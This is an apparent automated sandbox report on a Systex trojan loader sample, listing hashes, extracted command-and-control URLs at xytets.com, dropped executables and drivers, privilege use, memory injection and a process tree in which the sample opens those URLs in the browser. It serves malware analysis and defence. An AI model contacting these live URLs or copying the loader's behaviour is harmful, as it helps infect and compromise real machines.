systex | d6b531ba18ec142c0bffad0c0bcc7787c2c25bf922096dff6d24e7f2835f83c3

Analysis

max time kernel
149s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/07/2026, 02:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
Size 230KB
Sample260718-cpp1dscz9q
SHA256 d6b531ba18ec142c0bffad0c0bcc7787c2c25bf922096dff6d24e7f2835f83c3
MD5 c12951ce6ed1600a3abad7942f7375e1
SHA1 8c9ecc505bd545453674b5d0dfed3c5a0b1dfcbe
SHA512 a509968cfb55bc36a84cd2b230371941212462f66c178ff89884dcb34dc8c6044aeef7b9d03bd6075d82d25367a798ccc6d175134fa798d989091b232ec4e717
SSDEEP 3072:QJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:QghLQ0sQmpcF8BzXfwVfAI
TLSH
T1AB344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba8102
http://xytets.com:2345/ll/out.txt
http://xytets.com:2345/t.asp?os=home8102

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
5732	CP.exe
5524	dbwigbvqig.exe
3356	CP.exe
1760	CP.exe
4124	i_dbwigbvqig.exe
5972	gdywqoigay.sys
2828	CP.exe
5676	yvqnigdyvq.exe
2920	CP.exe
5948	CP.exe
5400	i_yvqnigdyvq.exe
2760	nlfdavtnlf.sys
2408	CP.exe
5148	ifdyspnlfa.exe
4888	CP.exe
2748	CP.exe
4748	i_ifdyspnlfa.exe
2012	ifzxsqkica.sys
4712	CP.exe
3920	fzxsqkhfca.exe
4352	CP.exe
2352	CP.exe
2940	i_fzxsqkhfca.exe
2068	mkfcxvsnkf.sys
4724	CP.exe
5884	usmkhcxupn.exe
3076	CP.exe
5400	CP.exe
3428	i_usmkhcxupn.exe
4356	rpjhfzxrpm.sys
5656	CP.exe
3164	mkhczxusmk.exe
1184	CP.exe
3456	CP.exe
2704	i_mkhczxusmk.exe
1468	mkhbztrmje.sys
1976	CP.exe
4600	jhbzurmjeb.exe
4412	CP.exe
3328	CP.exe
5612	i_jhbzurmjeb.exe
1252	mjebwuomje.sys
4988	CP.exe
3400	mgeztrljdb.exe
6128	CP.exe
3488	CP.exe
6112	i_mgeztrljdb.exe
2752	ojhbztromg.sys
3116	CP.exe
5852	vtqligbywq.exe
4524	CP.exe
2132	CP.exe
5700	i_vtqligbywq.exe
1156	tqlidaytql.sys
1188	CP.exe
5908	oigdywtolf.exe
4968	CP.exe
5272	CP.exe
4188	i_oigdywtolf.exe
556	fdyvqnlfdy.sys
4560	CP.exe
5376	davtnlfdxv.exe
2112	CP.exe
2012	CP.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4908_1371772445\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4908_872026706\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4908_1374876650\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4908_872026706\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4908_700215031\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4908_700215031\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4908_1374876650\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4908_1374876650\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4908_1374876650\smart_switch_list.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_yvqnigdyvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mkhczxusmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jhbzurmjeb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jhbzurmjeb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vtqligbywq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_oigdywtolf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	axvqnkfdxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ifdyspnlfa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ifdyspnlfa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mkhczxusmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_smjhezwurp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jdbwtolgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dbwigbvqig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mgeztrljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vtqligbywq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_axsqkicaus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_avtnlfdyvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dbwigbvqig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	usmkhcxupn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_usmkhcxupn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zxrpkhczxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jdbwtolgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	yvqnigdyvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fzxsqkhfca.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xusmkhfcxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	smjhezwurp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jdbvtolgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	oigdywtolf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_axvqnkfdxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mgeztrljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_davtnlfdxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xusmkhfcxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zxrpkhczxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jdbvtolgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	avtnlfdyvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fzxsqkhfca.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	davtnlfdxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	axsqkicaus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ojhbzwrojh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ojhbzwrojh.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3424	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4668	ipconfig.exe
4100	ipconfig.exe
4748	ipconfig.exe
4688	ipconfig.exe
4104	ipconfig.exe
2832	ipconfig.exe
5744	ipconfig.exe
2976	ipconfig.exe
2000	ipconfig.exe
1252	ipconfig.exe
6108	ipconfig.exe
5420	ipconfig.exe
1000	ipconfig.exe
4184	ipconfig.exe
4660	ipconfig.exe
2052	ipconfig.exe
5428	ipconfig.exe
2036	ipconfig.exe
5440	ipconfig.exe
1504	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 6 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134288145304261481"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1079202589-886135813-2527035092-1000\{94735B04-54C9-4FFC-8005-9CE78066F13C}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
5524	dbwigbvqig.exe
5524	dbwigbvqig.exe
5524	dbwigbvqig.exe
5524	dbwigbvqig.exe
5524	dbwigbvqig.exe
5524	dbwigbvqig.exe
5524	dbwigbvqig.exe
5524	dbwigbvqig.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
4908	msedge.exe
4908	msedge.exe
4908	msedge.exe
4908	msedge.exe
4908	msedge.exe
4908	msedge.exe

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	4124	i_dbwigbvqig.exe
Token: SeDebugPrivilege	5400	i_yvqnigdyvq.exe
Token: SeDebugPrivilege	4748	i_ifdyspnlfa.exe
Token: SeDebugPrivilege	2940	i_fzxsqkhfca.exe
Token: SeDebugPrivilege	3428	i_usmkhcxupn.exe
Token: SeDebugPrivilege	2704	i_mkhczxusmk.exe
Token: SeDebugPrivilege	5612	i_jhbzurmjeb.exe
Token: SeDebugPrivilege	6112	i_mgeztrljdb.exe
Token: SeDebugPrivilege	5700	i_vtqligbywq.exe
Token: SeDebugPrivilege	4188	i_oigdywtolf.exe
Token: SeDebugPrivilege	1236	i_davtnlfdxv.exe
Token: SeDebugPrivilege	5188	i_axsqkicaus.exe
Token: SeDebugPrivilege	3368	i_xusmkhfcxv.exe
Token: SeDebugPrivilege	5696	i_zxrpkhczxr.exe
Token: SeDebugPrivilege	5988	i_smjhezwurp.exe
Token: SeDebugPrivilege	2940	i_ojhbzwrojh.exe
Token: SeDebugPrivilege	4892	i_jdbvtolgey.exe
Token: SeDebugPrivilege	5448	i_jdbwtolgey.exe
Token: SeDebugPrivilege	1324	i_avtnlfdyvq.exe
Token: SeDebugPrivilege	4804	i_axvqnkfdxv.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4908	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4984 wrote to memory of 3176	4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe	89
PID 4984 wrote to memory of 4336	4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe	90
PID 3176 wrote to memory of 1760	3176	iexplore.exe	91
PID 4336 wrote to memory of 4908	4336	iexplore.exe	92
PID 4908 wrote to memory of 2508	4908	msedge.exe	93
PID 4908 wrote to memory of 3424	4908	msedge.exe	94
PID 4908 wrote to memory of 5232	4908	msedge.exe	95
PID 4908 wrote to memory of 5232	4908	msedge.exe	95
PID 4908 wrote to memory of 5232	4908	msedge.exe	95
PID 4908 wrote to memory of 1060	4908	msedge.exe	97
PID 4908 wrote to memory of 1060	4908	msedge.exe	97
PID 4908 wrote to memory of 2116	4908	msedge.exe	98
PID 4908 wrote to memory of 2116	4908	msedge.exe	98
PID 4908 wrote to memory of 2116	4908	msedge.exe	98
PID 4908 wrote to memory of 5496	4908	msedge.exe	99
PID 4908 wrote to memory of 5496	4908	msedge.exe	99
PID 4908 wrote to memory of 5496	4908	msedge.exe	99
PID 4908 wrote to memory of 2876	4908	msedge.exe	100
PID 4908 wrote to memory of 2988	4908	msedge.exe	102
PID 4908 wrote to memory of 2876	4908	msedge.exe	100
PID 4908 wrote to memory of 2876	4908	msedge.exe	100
PID 4908 wrote to memory of 2804	4908	msedge.exe	101
PID 4908 wrote to memory of 2988	4908	msedge.exe	102
PID 4908 wrote to memory of 2988	4908	msedge.exe	102
PID 4908 wrote to memory of 2804	4908	msedge.exe	101
PID 4908 wrote to memory of 2804	4908	msedge.exe	101
PID 4908 wrote to memory of 3332	4908	msedge.exe	103
PID 4908 wrote to memory of 3332	4908	msedge.exe	103
PID 4984 wrote to memory of 5732	4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe	105
PID 5524 wrote to memory of 3356	5524	dbwigbvqig.exe	108
PID 4908 wrote to memory of 2892	4908	msedge.exe	111
PID 4908 wrote to memory of 2892	4908	msedge.exe	111
PID 4908 wrote to memory of 6064	4908	msedge.exe	112
PID 4908 wrote to memory of 6064	4908	msedge.exe	112
PID 4908 wrote to memory of 872	4908	msedge.exe	114
PID 4908 wrote to memory of 4932	4908	msedge.exe	115
PID 4908 wrote to memory of 4932	4908	msedge.exe	115
PID 4908 wrote to memory of 1184	4908	msedge.exe	118
PID 4908 wrote to memory of 1184	4908	msedge.exe	118
PID 4984 wrote to memory of 1760	4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe	119
PID 4984 wrote to memory of 2828	4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe	123
PID 5676 wrote to memory of 2920	5676	yvqnigdyvq.exe	125
PID 4984 wrote to memory of 5948	4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe	128
PID 4984 wrote to memory of 2408	4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe	132
PID 5148 wrote to memory of 4888	5148	ifdyspnlfa.exe	134
PID 4984 wrote to memory of 2748	4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe	137
PID 4984 wrote to memory of 4712	4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe	141
PID 3920 wrote to memory of 4352	3920	fzxsqkhfca.exe	143
PID 4984 wrote to memory of 2352	4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe	146
PID 4908 wrote to memory of 5428	4908	msedge.exe	149
PID 4908 wrote to memory of 5420	4908	msedge.exe	150
PID 4908 wrote to memory of 3532	4908	msedge.exe	151
PID 4984 wrote to memory of 4724	4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe	154
PID 5884 wrote to memory of 3076	5884	usmkhcxupn.exe	156
PID 4984 wrote to memory of 5400	4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe	159
PID 4984 wrote to memory of 5656	4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe	163
PID 3164 wrote to memory of 1184	3164	mkhczxusmk.exe	165
PID 4984 wrote to memory of 3456	4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe	168
PID 4984 wrote to memory of 1976	4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe	172
PID 4600 wrote to memory of 4412	4600	jhbzurmjeb.exe	174
PID 4984 wrote to memory of 3328	4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe	177
PID 4984 wrote to memory of 4988	4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe	181
PID 3400 wrote to memory of 6128	3400	mgeztrljdb.exe	183
PID 4984 wrote to memory of 3488	4984	2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe	186

C:\Users\Admin\AppData\Local\Temp\2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4984
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home8102
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:3176
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home8102"
    3⤵
    PID:1760
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:4336
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/ll/out.txt"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4908
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x304,0x7ff90751c188,0x7ff90751c194,0x7ff90751c1a0
      4⤵
      PID:2508
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2112,i,2812932377561112687,12039590264770202998,524288 --field-trial-handle=2348,i,12426095692825447066,5245842999340464088,262144 --variations-seed-version --mojo-platform-channel-handle=2384 /prefetch:11
      4⤵
      System Time Discovery
      PID:3424
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1984,i,763822936539702307,5723469854475491700,262144 --field-trial-handle=2348,i,12426095692825447066,5245842999340464088,262144 --variations-seed-version --mojo-platform-channel-handle=2344 /prefetch:2
      4⤵
      PID:5232
